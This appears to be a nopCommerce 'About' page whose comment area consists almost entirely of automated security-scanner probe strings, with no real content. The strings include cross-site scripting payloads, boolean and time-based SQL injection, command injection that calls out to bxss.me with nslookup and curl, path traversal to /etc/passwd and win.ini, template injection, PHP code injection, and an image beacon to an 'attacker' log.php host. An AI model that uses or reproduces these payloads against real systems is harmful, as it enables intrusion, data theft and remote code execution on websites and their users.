About nopCommerce

This is a sample comment...

555

1gtGrTYbiO

555

response.write(9807744*9182986)

'+response.write(9807744*9182986)+'

"+response.write(9807744*9182986)+"

echo ieqfxu$()\ odsggy\nz^xyu||a #' &echo ieqfxu$()\ odsggy\nz^xyu||a #|" &echo ieqfxu$()\ odsggy\nz^xyu||a #

555

2cw8isWn

&echo pqfshk$()\ izwipt\nz^xyu||a #' &echo pqfshk$()\ izwipt\nz^xyu||a #|" &echo pqfshk$()\ izwipt\nz^xyu||a #

555

555

555&echo zcliuh$()\ cykutu\nz^xyu||a #' &echo zcliuh$()\ cykutu\nz^xyu||a #|" &echo zcliuh$()\ cykutu\nz^xyu||a #

555

|echo eohsuz$()\ sjtohx\nz^xyu||a #' |echo eohsuz$()\ sjtohx\nz^xyu||a #|" |echo eohsuz$()\ sjtohx\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555|echo nqnsvk$()\ rbbgki\nz^xyu||a #' |echo nqnsvk$()\ rbbgki\nz^xyu||a #|" |echo nqnsvk$()\ rbbgki\nz^xyu||a #

(nslookup -q=cname hitexekhzfamg4c171.bxss.me||curl hitexekhzfamg4c171.bxss.me))

555
bcc:074625.1-305863.1.2ce36.19668.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

$(nslookup -q=cname hitnanwayjrzu536fc.bxss.me||curl hitnanwayjrzu536fc.bxss.me)

file:///etc/passwd

to@example.com>
bcc:074625.1-305864.1.2ce36.19668.2@bxss.me

&nslookup -q=cname hitccejvnyzxt369bb.bxss.me&'\"`0&nslookup -q=cname hitccejvnyzxt369bb.bxss.me&`'

555

555

&(nslookup -q=cname hitzrrhsbjtvc06c99.bxss.me||curl hitzrrhsbjtvc06c99.bxss.me)&'\"`0&(nslookup -q=cname hitzrrhsbjtvc06c99.bxss.me||curl hitzrrhsbjtvc06c99.bxss.me)&`'

../555

|(nslookup -q=cname hitqjriwtzcyq8ab5d.bxss.me||curl hitqjriwtzcyq8ab5d.bxss.me)

555

`(nslookup -q=cname hitmccugobmvef331f.bxss.me||curl hitmccugobmvef331f.bxss.me)`

555

555

;(nslookup -q=cname hitmgligvudxqe9673.bxss.me||curl hitmgligvudxqe9673.bxss.me)|(nslookup -q=cname hitmgligvudxqe9673.bxss.me||curl hitmgligvudxqe9673.bxss.me)&(nslookup -q=cname hitmgligvudxqe9673.bxss.me||curl hitmgligvudxqe9673.bxss.me)

555

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

555

555

555

555

555

${9999444+10000061}

555

555

555

555

555

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

555

/etc/shells

c:/windows/win.ini

bxss.me

555

555

555&n995462=v944474

555

555

)

555

!(()&&!|*|*|

555

555

^(#$!@#$)(()))******

555

555

555

555

555

555

555

555

-1 OR 2+360-360-1=0+0+0+1 --

555

-1 OR 2+989-989-1=0+0+0+1

-1' OR 2+150-150-1=0+0+0+1 --

-1' OR 2+106-106-1=0+0+0+1 or 'lA55rsXq'='

'"()

-1" OR 2+617-617-1=0+0+0+1 --

555'&&sleep(27*1000)*kaldnz&&'

555"&&sleep(27*1000)*egditq&&"

'.gethostbyname(lc('hiteh'.'zbwtchst2a3aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(89).chr(98).chr(89).'

555'||sleep(27*1000)*uqsmrt||'

".gethostbyname(lc("hitwi"."cgurwizl65a6b.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(83).chr(98).chr(70)."

555"||sleep(27*1000)*ngfvfy||"

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

';print(md5(31337));$a='

555

HttP://bxss.me/t/xss.html?%00

";print(md5(31337));$a="

555

"+"A".concat(70-3).concat(22*4).concat(101).concat(78).concat(121).concat(89)+(require"socket"
Socket.gethostbyname("hitoy"+"raxjmyln3dea2.bxss.me.")[3].to_s)+"

${@print(md5(31337))}

555

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(104).concat(87)+(require'socket'
Socket.gethostbyname('hitij'+'nprsftbr4c618.bxss.me.')[3].to_s)+'

${@print(md5(31337))}\

555

555

'.print(md5(31337)).'

555

555

555

555

555

555

555

555

555

about-nopcommerce

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

about-nopcommerce/.

555

555

if(now()=sysdate(),sleep(15),0)

555

555

555

555

xfs.bxss.me

555

555

555

555

555

'"

<!--

555

555'"()&%<zzz><ScRiPt >DWpw(9007)</ScRiPt>

555

'"()&%<zzz><ScRiPt >DWpw(9960)</ScRiPt>

5559233401

555

bfg10953＜s1﹥s2ʺs3ʹhjl10953

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

bfgx7346%C0%BEz1%C0%BCz2a%90bcxhjl7346

<%={{={@{#{${dfb}}%>

response.write(9620127*9386737)

'+response.write(9620127*9386737)+'

<th:t="${dfb}#foreach

"+response.write(9620127*9386737)+"

555

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

echo qmnkxl$()\ uuugkb\nz^xyu||a #' &echo qmnkxl$()\ uuugkb\nz^xyu||a #|" &echo qmnkxl$()\ uuugkb\nz^xyu||a #

&echo tdkhbh$()\ zinpxi\nz^xyu||a #' &echo tdkhbh$()\ zinpxi\nz^xyu||a #|" &echo tdkhbh$()\ zinpxi\nz^xyu||a #

555&echo qxqnbp$()\ jkfryh\nz^xyu||a #' &echo qxqnbp$()\ jkfryh\nz^xyu||a #|" &echo qxqnbp$()\ jkfryh\nz^xyu||a #

|echo mmdrli$()\ zbbdyy\nz^xyu||a #' |echo mmdrli$()\ zbbdyy\nz^xyu||a #|" |echo mmdrli$()\ zbbdyy\nz^xyu||a #

dfb__${98991*97996}__::.x

555|echo xfrypd$()\ dmssua\nz^xyu||a #' |echo xfrypd$()\ dmssua\nz^xyu||a #|" |echo xfrypd$()\ dmssua\nz^xyu||a #

(nslookup -q=cname hitctnbdjtvqqfc3ef.bxss.me||curl hitctnbdjtvqqfc3ef.bxss.me))

$(nslookup -q=cname hitfyvyajewhi250ef.bxss.me||curl hitfyvyajewhi250ef.bxss.me)

&nslookup -q=cname hituosmnqwjvyec6a9.bxss.me&'\"`0&nslookup -q=cname hituosmnqwjvyec6a9.bxss.me&`'

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

&(nslookup -q=cname hitdljaoedfjjc8711.bxss.me||curl hitdljaoedfjjc8711.bxss.me)&'\"`0&(nslookup -q=cname hitdljaoedfjjc8711.bxss.me||curl hitdljaoedfjjc8711.bxss.me)&`'

|(nslookup -q=cname hitybcavqidff01f63.bxss.me||curl hitybcavqidff01f63.bxss.me)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

`(nslookup -q=cname hitujtwubluhz5287e.bxss.me||curl hitujtwubluhz5287e.bxss.me)`

;(nslookup -q=cname hitvedlekqxidc0002.bxss.me||curl hitvedlekqxidc0002.bxss.me)|(nslookup -q=cname hitvedlekqxidc0002.bxss.me||curl hitvedlekqxidc0002.bxss.me)&(nslookup -q=cname hitvedlekqxidc0002.bxss.me||curl hitvedlekqxidc0002.bxss.me)

555

555

555<ScRiPt >DWpw(9043)</ScRiPt>

555

555

555

555

555<WYCNNX>TEIDD[!+!]</WYCNNX>

555

555

555

555

555

555<script>DWpw(9904)</script>

555

555<script>DWpw(9982)</script>9982

555<ScR<ScRiPt>IpT>DWpw(9307)</sCr<ScRiPt>IpT>

555

555<ScRiPt
>DWpw(9268)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9891></ScRiPt>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

-1 OR 2+490-490-1=0+0+0+1 --

555<isindex type=image src=1 onerror=DWpw(9954)>

-1 OR 2+92-92-1=0+0+0+1

-1' OR 2+940-940-1=0+0+0+1 --

-1' OR 2+625-625-1=0+0+0+1 or '3jjVh7iK'='

-1" OR 2+580-580-1=0+0+0+1 --

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9564'>

555<body onload=DWpw(9198)>

555<img src=//xss.bxss.me/t/dot.gif onload=DWpw(9837)>

TWV02Rkd

555

555<img src=xyz OnErRor=DWpw(9142)>

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

555

555<img/src=">" onerror=alert(9667)>

../555

555

555

555
bcc:074625.1-307396.1.2ce36.19668.2@bxss.me

555

to@example.com>
bcc:074625.1-307397.1.2ce36.19668.2@bxss.me

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%57%70%77%289378%29%3C%2F%73%43%72%69%70%54%3E

555

555

555

555

555

-1; waitfor delay '0:0:15' --

555\u003CScRiPt\DWpw(9904)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;DWpw(9465)&lt;/sCripT&gt;

555

%F6<img zzz onmouseover=DWpw(91251) //%F6>

555

if(now()=sysdate(),sleep(15),0)

555<input autofocus onfocus=DWpw(9460)>

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

<a HrEF=http://xss.bxss.me></a>

${9999413+10000048}

555

555

<a HrEF=jaVaScRiPT:>

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555&n908678=v987818

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

555}body{zzz:Expre/**/SSion(DWpw(9599))}

c:/windows/win.ini

bxss.me

555

555

-1); waitfor delay '0:0:15' --

555Uo4PV
<ScRiPt >DWpw(9357)</ScRiPt>

555

555

555

555

555

555

555<WMMJW7>FAONJ[!+!]</WMMJW7>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

)

!(()&&!|*|*|

555<ifRAme sRc=9456.com></IfRamE>

^(#$!@#$)(()))******

555

555

555

555<aiOlFEK x=9436>

555<img sRc='http://attacker-9468/log.php?

555<aL15Vsf<

'.gethostbyname(lc('hitiu'.'wlqawwbmd479a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(79).chr(122).chr(66).'

555

".gethostbyname(lc("hitxp"."odgagnsmd3b2d.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(75).chr(108).chr(90)."

555

'"()

555

555'&&sleep(27*1000)*zbnumh&&'

555

555

555"&&sleep(27*1000)*adyzdi&&"

555'||sleep(27*1000)*xxttne||'

1 waitfor delay '0:0:15' --

555"||sleep(27*1000)*rfbkgp||"

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

555

${@print(md5(31337))}

${@print(md5(31337))}\

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

'.print(md5(31337)).'

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(110).concat(67).concat(110).concat(88)+(require"socket"
Socket.gethostbyname("hitgu"+"rujigujk7c619.bxss.me.")[3].to_s)+"

AqMCBWY5'; waitfor delay '0:0:15' --

'+'A'.concat(70-3).concat(22*4).concat(107).concat(65).concat(121).concat(75)+(require'socket'
Socket.gethostbyname('hitkp'+'wxkfpkpwa6af4.bxss.me.')[3].to_s)+'

about-nopcommerce

555

555

555

about-nopcommerce/.

555

555

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

xfs.bxss.me

'"

555

555

<!--

555

555

555

555

555'"()&%<zzz><ScRiPt >snE0(9378)</ScRiPt>

555

'"()&%<zzz><ScRiPt >snE0(9283)</ScRiPt>

555

5559477707

-5 OR 36=(SELECT 36 FROM PG_SLEEP(15))--

555

bfg9879＜s1﹥s2ʺs3ʹhjl9879

bfgx9227%C0%BEz1%C0%BCz2a%90bcxhjl9227

555

-1; waitfor delay '0:0:15' --

<%={{={@{#{${dfb}}%>

555

555

555

<th:t="${dfb}#foreach

555

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

-5) OR 382=(SELECT 382 FROM PG_SLEEP(15))--

dfb{{98991*97996}}xca

555

dfb[[${98991*97996}]]xca

555

-1); waitfor delay '0:0:15' --

dfb__${98991*97996}__::.x

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<ScRiPt >snE0(9857)</ScRiPt>

555

555<WJVSD0>OPDGE[!+!]</WJVSD0>

555

555<script>snE0(9456)</script>

555

-1)) OR 229=(SELECT 229 FROM PG_SLEEP(15))--

555<script>snE0(9968)</script>9968

555

555<ScR<ScRiPt>IpT>snE0(9058)</sCr<ScRiPt>IpT>

555

555<ScRiPt
>snE0(9342)</ScRiPt>

1 waitfor delay '0:0:15' --

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9172></ScRiPt>

555

555<isindex type=image src=1 onerror=snE0(9647)>

555

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9635'>

555

555<body onload=snE0(9198)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=snE0(9651)>

WolhSErh' OR 801=(SELECT 801 FROM PG_SLEEP(15))--

555<img src=xyz OnErRor=snE0(9632)>

555

555

555<img/src=">" onerror=alert(9435)>

555'"()&%<zzz><ScRiPt >NuGk(9280)</ScRiPt>

YYwwRIal'; waitfor delay '0:0:15' --

555

555

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%6E%45%30%289240%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >NuGk(9308)</ScRiPt>

555

555

555\u003CScRiPt\snE0(9297)\u003C/sCripT\u003E

555

555

555&lt;ScRiPt&gt;snE0(9248)&lt;/sCripT&gt;

5559150304

555

%F6<img zzz onmouseover=snE0(99851) //%F6>

6fldgr2N') OR 355=(SELECT 355 FROM PG_SLEEP(15))--

555<input autofocus onfocus=snE0(9215)>

<a HrEF=http://xss.bxss.me></a>

-5 OR 244=(SELECT 244 FROM PG_SLEEP(15))--

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(snE0(9095))}

555YADw7
<ScRiPt >snE0(9968)</ScRiPt>

555<WYAXBP>G2VXL[!+!]</WYAXBP>

6511RTOK')) OR 696=(SELECT 696 FROM PG_SLEEP(15))--

555<ifRAme sRc=9013.com></IfRamE>

555<aCBt7eI x=9217>

-5) OR 557=(SELECT 557 FROM PG_SLEEP(15))--

555<img sRc='http://attacker-9274/log.php?

555<aRAf1Ng<

555

555

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

555

-1)) OR 543=(SELECT 543 FROM PG_SLEEP(15))--

555

555

555

555

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

555

Ohg0EEzr' OR 121=(SELECT 121 FROM PG_SLEEP(15))--

@@IzA32

555

555

555

555

555

SqdLGFVZ') OR 638=(SELECT 638 FROM PG_SLEEP(15))--

555

555

555

555

555'"()&%<zzz><ScRiPt >PUkx(9122)</ScRiPt>

555

555

555

'"()&%<zzz><ScRiPt >PUkx(9245)</ScRiPt>

555

555

Rp1lWoER')) OR 971=(SELECT 971 FROM PG_SLEEP(15))--

555

5559939757

555

555

555

555

555

555

555

555

555

bfg8419＜s1﹥s2ʺs3ʹhjl8419

555

555

555

555

bfgx10833%C0%BEz1%C0%BCz2a%90bcxhjl10833

555

<%={{={@{#{${dfb}}%>

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

<th:t="${dfb}#foreach

555

555

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

dfb{{98991*97996}}xca

555

555

555

555

dfb[[${98991*97996}]]xca

555

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

1'"

dfb__${98991*97996}__::.x

555

@@qfGY9

555

555

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555

555<ScRiPt >PUkx(9343)</ScRiPt>

555

555<WLGS3Z>YG8WV[!+!]</WLGS3Z>

555

555<script>PUkx(9174)</script>

555

555

555

555<script>PUkx(9277)</script>9277

555

555<ScR<ScRiPt>IpT>PUkx(9505)</sCr<ScRiPt>IpT>

555

555<ScRiPt
>PUkx(9424)</ScRiPt>

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9525></ScRiPt>

555

555

555

555

555

555

555

555'"()&%<zzz><ScRiPt >Ewvf(9519)</ScRiPt>

555<isindex type=image src=1 onerror=PUkx(9555)>

555

'"()&%<zzz><ScRiPt >Ewvf(9362)</ScRiPt>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9414'>

555

555

5559423622

555<body onload=PUkx(9284)>

response.write(9942322*9544213)

555

'+response.write(9942322*9544213)+'

"+response.write(9942322*9544213)+"

555

555

bfg9677＜s1﹥s2ʺs3ʹhjl9677

555

555<img src=//xss.bxss.me/t/dot.gif onload=PUkx(9597)>

555

bfgx6324%C0%BEz1%C0%BCz2a%90bcxhjl6324

555

555<img src=xyz OnErRor=PUkx(9288)>

555<img/src=">" onerror=alert(9320)>

555

555

<%={{={@{#{${dfb}}%>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%50%55%6B%78%289146%29%3C%2F%73%43%72%69%70%54%3E

-1 OR 2+364-364-1=0+0+0+1 --

echo bywilo$()\ vetmah\nz^xyu||a #' &echo bywilo$()\ vetmah\nz^xyu||a #|" &echo bywilo$()\ vetmah\nz^xyu||a #

555

&echo kdazgf$()\ rdwtun\nz^xyu||a #' &echo kdazgf$()\ rdwtun\nz^xyu||a #|" &echo kdazgf$()\ rdwtun\nz^xyu||a #

555

555

-1 OR 3+364-364-1=0+0+0+1 --

-1 OR 2+217-217-1=0+0+0+1

555

|echo agnrkg$()\ owswps\nz^xyu||a #' |echo agnrkg$()\ owswps\nz^xyu||a #|" |echo agnrkg$()\ owswps\nz^xyu||a #

-1 OR 3+217-217-1=0+0+0+1

555

-1' OR 2+262-262-1=0+0+0+1 --

(nslookup -q=cname hitmexlrelkne84fff.bxss.me||curl hitmexlrelkne84fff.bxss.me))

$(nslookup -q=cname hitaqilzeemwq4b217.bxss.me||curl hitaqilzeemwq4b217.bxss.me)

-1' OR 3+262-262-1=0+0+0+1 --

<th:t="${dfb}#foreach

&nslookup -q=cname hitnnwthrmqcx71f61.bxss.me&'\"`0&nslookup -q=cname hitnnwthrmqcx71f61.bxss.me&`'

555

-1' OR 2+289-289-1=0+0+0+1 or 'UKlAl2ki'='

&(nslookup -q=cname hitewyldyxgnjaa9d3.bxss.me||curl hitewyldyxgnjaa9d3.bxss.me)&'\"`0&(nslookup -q=cname hitewyldyxgnjaa9d3.bxss.me||curl hitewyldyxgnjaa9d3.bxss.me)&`'

-1' OR 3+289-289-1=0+0+0+1 or 'UKlAl2ki'='

555\u003CScRiPt\PUkx(9456)\u003C/sCripT\u003E

-1" OR 2+946-946-1=0+0+0+1 --

555

|(nslookup -q=cname hitkdsaoyowebd674d.bxss.me||curl hitkdsaoyowebd674d.bxss.me)

-1" OR 3+946-946-1=0+0+0+1 --

555

`(nslookup -q=cname hitkqvpeuyjnc746a0.bxss.me||curl hitkqvpeuyjnc746a0.bxss.me)`

;(nslookup -q=cname hitgtvrfupluu4bd0f.bxss.me||curl hitgtvrfupluu4bd0f.bxss.me)|(nslookup -q=cname hitgtvrfupluu4bd0f.bxss.me||curl hitgtvrfupluu4bd0f.bxss.me)&(nslookup -q=cname hitgtvrfupluu4bd0f.bxss.me||curl hitgtvrfupluu4bd0f.bxss.me)

555&lt;ScRiPt&gt;PUkx(9976)&lt;/sCripT&gt;

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

%F6<img zzz onmouseover=PUkx(95161) //%F6>

555

555

555

555

555

555

555<input autofocus onfocus=PUkx(9831)>

dfb{{98991*97996}}xca

BexDrJ4B

555

555

if(now()=sysdate(),sleep(15),0)

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

<a HrEF=jaVaScRiPT:>

555

555

dfb__${98991*97996}__::.x

../

555}body{zzz:Expre/**/SSion(PUkx(9435))}

555

./

555

555

555

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555nyZcS
<ScRiPt >PUkx(9216)</ScRiPt>

555

555

555<ScRiPt >Ewvf(9618)</ScRiPt>

555<WAX2O5>XAQV3[!+!]</WAX2O5>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

555<WEG1HS>ANV6W[!+!]</WEG1HS>

555<ifRAme sRc=9045.com></IfRamE>

555

555

555<script>Ewvf(9180)</script>

555

555<akFCqSl x=9692>

555

555

555

555<script>Ewvf(9997)</script>9997

555

555<img sRc='http://attacker-9457/log.php?

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555<ScR<ScRiPt>IpT>Ewvf(9198)</sCr<ScRiPt>IpT>

bcc:074625.1-311247.1.2ce36.19668.2@bxss.me

to@example.com>
bcc:074625.1-311248.1.2ce36.19668.2@bxss.me

555<a6gKLnq<

555

555<ScRiPt
>Ewvf(9151)</ScRiPt>

${9999591+9999693}

<esi:include src="http://bxss.me/rpb.png"/>

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9855></ScRiPt>

555

555

555

&n989510=v958695

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

)

!(()&&!|*|*|

555

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

bxss.me

555<isindex type=image src=1 onerror=Ewvf(9495)>

555

'"()

'.gethostbyname(lc('hitoe'.'wkowjkaqfd78c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(88).chr(115).chr(82).'

'&&sleep(27*1000)*cvfwof&&'

".gethostbyname(lc("hitaj"."hahnzayp4ec06.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(76).chr(107).chr(80)."

"&&sleep(27*1000)*xmecip&&"

'||sleep(27*1000)*weyozn||'

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9209'>

555

555

"||sleep(27*1000)*smdfqn||"

ctime
sleep
p0
(I30
tp1
Rp2
.

555

HttP://bxss.me/t/xss.html?%00

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555<body onload=Ewvf(9667)>

bxss.me/t/xss.html?%00

';print(md5(31337));$a='

";print(md5(31337));$a="

-1; waitfor delay '0:0:15' --

${@print(md5(31337))}

555<img src=//xss.bxss.me/t/dot.gif onload=Ewvf(9709)>

555

"+"A".concat(70-3).concat(22*4).concat(102).concat(65).concat(111).concat(83)+(require"socket"
Socket.gethostbyname("hitsd"+"gfbriyyr74a26.bxss.me.")[3].to_s)+"

${@print(md5(31337))}\

'+'A'.concat(70-3).concat(22*4).concat(120).concat(70).concat(111).concat(67)+(require'socket'
Socket.gethostbyname('hitjv'+'bhfmqddl8b7fd.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

555<img src=xyz OnErRor=Ewvf(9550)>

555

555<img/src=">" onerror=alert(9880)>

about-nopcommerce

555

about-nopcommerce/.

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%45%77%76%66%289447%29%3C%2F%73%43%72%69%70%54%3E

-1); waitfor delay '0:0:15' --

555\u003CScRiPt\Ewvf(9798)\u003C/sCripT\u003E

xfs.bxss.me

555

555